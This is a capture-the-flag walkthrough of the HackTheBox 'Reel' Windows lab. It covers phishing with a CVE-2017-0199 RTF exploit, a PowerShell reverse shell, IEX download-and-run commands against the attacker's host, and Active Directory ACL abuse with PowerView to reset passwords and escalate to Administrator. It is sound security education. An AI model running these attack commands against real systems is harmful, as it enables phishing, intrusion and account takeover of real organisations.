HackTheBox — Reel Walkthrough (No Metasploit)

Mainul Hasan
12 min readNov 8, 2020
Reel
Info Card

Summary

This is a write up for a hard Windows box in hackthebox.eu named Reel. This box features finding out Active Directory misconfiguration with the help of Bloodhound. Let’s get into this.

Recon

We start with a basic nmap scan.

nmap -sC -sV -oA nmap/initial 10.10.10.77

Looking at the results:

# Nmap 7.80 scan initiated Sun Mar  1 17:17:54 2020 as: nmap -sC -sV -oA nmap/iniial 10.10.10.77
Nmap scan report for 10.10.10.77
Host is up (0.17s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18 11:19PM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| TerminalServerCookie:
| 220 Mail Service ready
|_ sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49159/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.80%I=7%D=3/1%Time=5E5BA0F9%P=x86_64-pc-linux-gnu%r(NULL,
SF:18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\x20Se
SF:rvice\x20ready\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n")%r
SF:(Help,54,"220\x20Mail\x20Service\x20ready\r\n211\x20DATA\x20HELO\x20EHL
SF:O\x20MAIL\x20NOOP\x20QUIT\x20RCPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n")
SF:%r(GenericLines,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20se
SF:quence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\
SF:n")%r(GetRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20s
SF:equence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:\n")%r(HTTPOptions,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x2
SF:0sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands
SF:\r\n")%r(RTSPRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\
SF:x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comman
SF:ds\r\n")%r(RPCCheck,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSVers
SF:ionBindReqTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSStatusRequ
SF:estTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SSLSessionReq,18,"22
SF:0\x20Mail\x20Service\x20ready\r\n")%r(TerminalServerCookie,36,"220\x20M
SF:ail\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n
SF:")%r(TLSSessionReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Kerberos
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SMBProgNeg,18,"220\x20Mail
SF:\x20Service\x20ready\r\n")%r(X11Probe,18,"220\x20Mail\x20Service\x20rea
SF:dy\r\n")%r(FourOhFourRequest,54,"220\x20Mail\x20Service\x20ready\r\n503
SF:\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x
SF:20commands\r\n")%r(LPDString,18,"220\x20Mail\x20Service\x20ready\r\n")%
SF:r(LDAPSearchReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(LDAPBindReq
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SIPOptions,162,"220\x20Mai
SF:l\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n50
SF:3\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\
SF:x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x
SF:20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20command
SF:s\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence
SF:\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x
SF:20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20
SF:commands\r\n");
Service Info: Host: REEL; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2s, deviation: 2s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: REEL
| NetBIOS computer name: REEL\x00
| Domain name: HTB.LOCAL
| Forest name: HTB.LOCAL
| FQDN: REEL.HTB.LOCAL
|_ System time: 2020-03-01T11:51:00+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-03-01T11:51:01
|_ start_date: 2020-03-01T10:29:40
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 1 17:21:37 2020 -- 1 IP address (1 host up) scanned in 222.85 seconds

We can see that we have a lot of open ports.

FTP

Let’s have a deeper look. We can see that FTP on port 21 is open and it is accepting “anonymous” login. Let’s see if there is something interesting to find.

ftp 10.10.10.77

We login with username: anonymous and kept the password blank as it FTP will accept anything as a password if anonymous login is always turned on. So, it is always good to turn anonymous login off when setting up an FTP service.

FTP login
FTP folder and files listing

We can see that there is a directory and the directory has a few files. We are going to download the files and check for information.

get AppLocker.docxget readme.txtget Windows\ Event\ Forwarding.docx
downloading the files

Looking at the readme.txt

cat readme.txt
output cat readme.txt

We can see that someone is waiting for an email with an attachment of an RTF format of some document. This gives us an idea that there might be a possibility of sending a phishing email to the receiver if we can get the email address.

Lets’s take a quick look at the documents with ExifTool

exiftool AppLocker.docx
metadata of AppLocker.docx
exiftool readme.txt
metadata readme.txt
exiftool Windows\ Event\ Forwarding.docx
metadata Windows Event Forwarding.docx

The metadata of Windows Event Forwarding.docx consists of the email of the creator: nico@megabank.com, we can check if this is a valid mail address with the help of the SMTP server. We will go ahead and do a little poke around on the SMTP server.

SMTP

Let us connect to the SMTP server using telnet.

telnet 10.10.10.77 25
valid email id

So, we can see that nico@megabank.com is a valid email id. If it was not a valid address then we would get back a 550 Unknown user. We can use this technique because the server knows all the megabank.com addresses. If we use an external address it won’t be able to tell us if the user exists or not and we will get a 250 OK back as a response.

invalid user output

Initial Foothold

As we confirm that the email is a valid one, we move to look for an exploit for the RTF file. The first google search result is the one that we need.

search result

The link to the repository for the exploit. We need to create a malicious RTF file and we will host it on our python server along with that we need to create a .hta file to deliver the payload and we will use nishang to generate out reverse shell script. .hta file extension means that it is a HTML executable extension.

To start with we clone the repository to our directory.

git clone https://github.com/bhdresh/CVE-2017-0199.git

To generate the .rtf file we run:

python cve-2017-0199_toolkit.py -M gen -w m1kU.rtf -u http://10.10.14.9/m1ku.hta -t RTF -x 0

We will be hosting it to our own python server rather than the script so we move the document created to a new folder named www in the current working directory.

mkdir www
cd www
mv ../CVE-2017-0199/m1kU.rtf .

Now, we need to create the .hta file. For that, we will go to the nishang local repository and check how we can create one.

To do so we search for the script in the nishang root directory

find . | grep -i .hta

Looking at the result, we have a PowerShell script.

the output of find and grep

Let’s have a look at it

functions to be used
usage

We find a function named PayloadURL. As it will be a blind attack as we don’t know the process flow a download and execution give us more information. As we can track the download of the script.

To create the .hta file, we copy the Out-HTA.ps1 to our working directory and edit it.

cp /nishang/Out-HTA.ps1 .

We add the command we want to run at the end of the script.

adding the desired command at the end of the script

Then we open the PowerShell in Kali and we run the script and the .hta file is created. We change the file name to m1ku.hta as we have mentioned in our .rtf payload before.

.hta file created
mv WindDef_WebInstall.hta www/m1kU.hta

Now we need to create our reverse shell script. We go to nishang again and copy the script to our directory and edit the file.

cp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1 www/m1kU.ps1

We add Invoke-PowerShellTcp function, as we did in Optimum, and save the file.

the line to be added

As we have all our files in a folder, now we move on to the exploitation part. We start our python HTTP server

python3 -m http.server 80

and start our netcat listener on port 9001 with rlwrap. rlwrap will help us use our arrow keys when we are in the shell, in other words, it provides an interactive shell to work with.

rlwrap nc -lvnp 9001

Now, all we need to do is to send the mail to nico@megabank.com. To send this we will use sendemail application in Kali Linux.

sendemail -f m1kU@megabank.com -t nico@megabank.com -u RTF -m "Covert this file, please." -a www/m1kU.rtf -s 10.10.10.77
email sent successfully

We send this email and wait for the attachment to be opened and we should get a hit on our web server and after a couple of minutes we get a few hits on our server and we get a shell as nico.

hits on python server
shell from 10.10.10.77

Enumeration

We start with checking what services are running, as this is a PowerShell reverse shell we can utilize the added benefits of the powerful script engine.

Get-Service | where {$_.Status -eq "Running"}

This gives us the services running. In which there is nothing out of the blue. The ADWS service does let us know that the box is connected to an Active Directory.

list of running services

We now go to nico’s desktop if we can get the user flag.

directory list nico’s desktop

There we have our user flag. Other than that we can see an interesting file named cred.xml. Looking into the file

cred.xml

We can see that, there is a secure password in the file and a username. We can decode it in PowerShell

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | fl *

We format $cred as a list and we get the password for Tom — 1ts-mag1c!!!.

the output of the command

We can login via the open ssh port and get a shell as Tom.

shell as Tom

We can now look around.

Looking around we find AD Audit directory on Tom.

AD Audit on Desktop

Going into it, the folder has one directory called BloodHound and one file named note.txt

AD Audit Listing

This gives us a hint that we can use BloodHound to get attack paths to Active Directory Admin.

Privilege Escalation

Now, as we can see that we can use BloodHound to get the attack paths. For that, we will start our neo4j server and change the default password, and then login to the BloodHound application.

You can follow these steps in the link for BloodHound installation, depending upon your platform.

Rather than using Tom from ssh. We will use the nishang shell as that provides more of a real-life approach. We know that an Active Directory Audit was conducted for the machine. There might be something that has changed after the audit and SharpHound is always updating. So, let us run the newer version on the machine.

As usual, we will start host our script on a python webserver and download it on the remote machine via PowerShell.

Statring the webserver

sudo python3 -m http.server 80

Downloading the script via PowerShell and running SharpHound.

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/SharpHound.ps1')
Invoke-BloodHound -CollectAll

Running a gci on the shell shows us that the output was stored in a zip file.

Now, we need to transfer the file to our machine and analyze it on the BloodHound application.

To do that we will use impacket-smb script. Let’s create the smbshare, on our local machine.

sudo impacket-smbserver tmp $(pwd) -smb2support -user miku -password password

Now, we have to create a new PSDrive to connect to the share for that we need to put the password in a credential object. We run the following commands on our ssh shell

$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('miku', $pass)
New-PSDrive -Name miku -PSProvider FileSystem -Credential $cred -Root \\10.10.14.7\tmp

We now get into the drive and copy the file

cd miku:
xcopy 'C:\Users\nico\Desktop\20201108074631_BloodHound.zip' .

We can verify it on our directory

file copied

Now, to analyze we will start the BloodHound application. We start ne04j console on a terminal and start the bloodhound application on another

neo4j console
bloodhound
starting bloodhound

We will now import the zip file downloaded from the victim machine and analyze it.

processing the file

Now, we can look for paths from our owned users and we can see that there is nothing that leads to domain admins. Now let’s check if we have any access to Backup Admin group.

We can see that Nico is a WriteOwner on Herman and Herman has GenericWrite and WriteDacl on Backup_Admin.

Nico’s path to Backup Admins

What this means is that user NICO@HTB.LOCAL has the ability to modify the owner of the user HERMAN@HTB.LOCAL. Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL. For a detailed overview, head over to adsecurity.

We will be using PowerView to abuse the ability. Loading PowerView in the session. We copy our PowerView.ps1 script in the webserver directory.

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerView.ps1')

First, we will take ownership of the account then give us permission to change the password

Set-DomainObjectOwner -Identity Herman -OwnerIdentity Nico
Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity Nico -Rights ResetPassword
$passwd = ConvertTo-SecureString -String 'miku123$' -AsPlainText -Force
Set-DomainUserPassword -Identity Herman -AccountPassword $passwd

We can verify the password has changed, by logging in the box via ssh

ssh Herman@10.10.10.77

And login is successful

Login successful as Herman

Now, we need to add ourself as member of Backup_Admins. First, let’s check our current groups. To do that we can run

Get-DomainGroup -MemberIdentity Herman | select samaccountname
Domain Group Member

We are not a member of the Backup_Admins group. To make ourself a member we will first create a credential object

$passwd = ConvertTo-SecureString -String 'miku123$' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('HTB\Herman', $passwd)

Now we will run the command to be a member of the Backup_Admins group

Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential $cred

And we check Domain Group for Herman again, voila! we are a member of Backup_Admins

Domain Group Member

Now, let’s login from Herman and check if we have access. Logging in via ssh we can see that we have access to Administrator but cannot read root.txt.

Access to Administrator Directory

We can see that there is a Directory named Backup Scripts. Let’s see if we find something juicy in that directory.

type * | findstr  password

We find that there is an admin password Cr4ckMeIfYouC4n!

Admin Password

Login via administrator and we are Administrator account on the box.

Logged in as Administrator

Flags

type root.txt
1018a0331e686176ff4577c72....32a
type "C:\Users\nico\Desktop\user.txt"
fa363aebcfa2c29897a69af38....971
Trophy

Hope you like this write-up. It took me way too long, was collecting some dust in the draft. Let me know your views. We can follow this same method even when we are logged in through ssh. For that, the users will be Tom and Claire.

~m1kU

--

--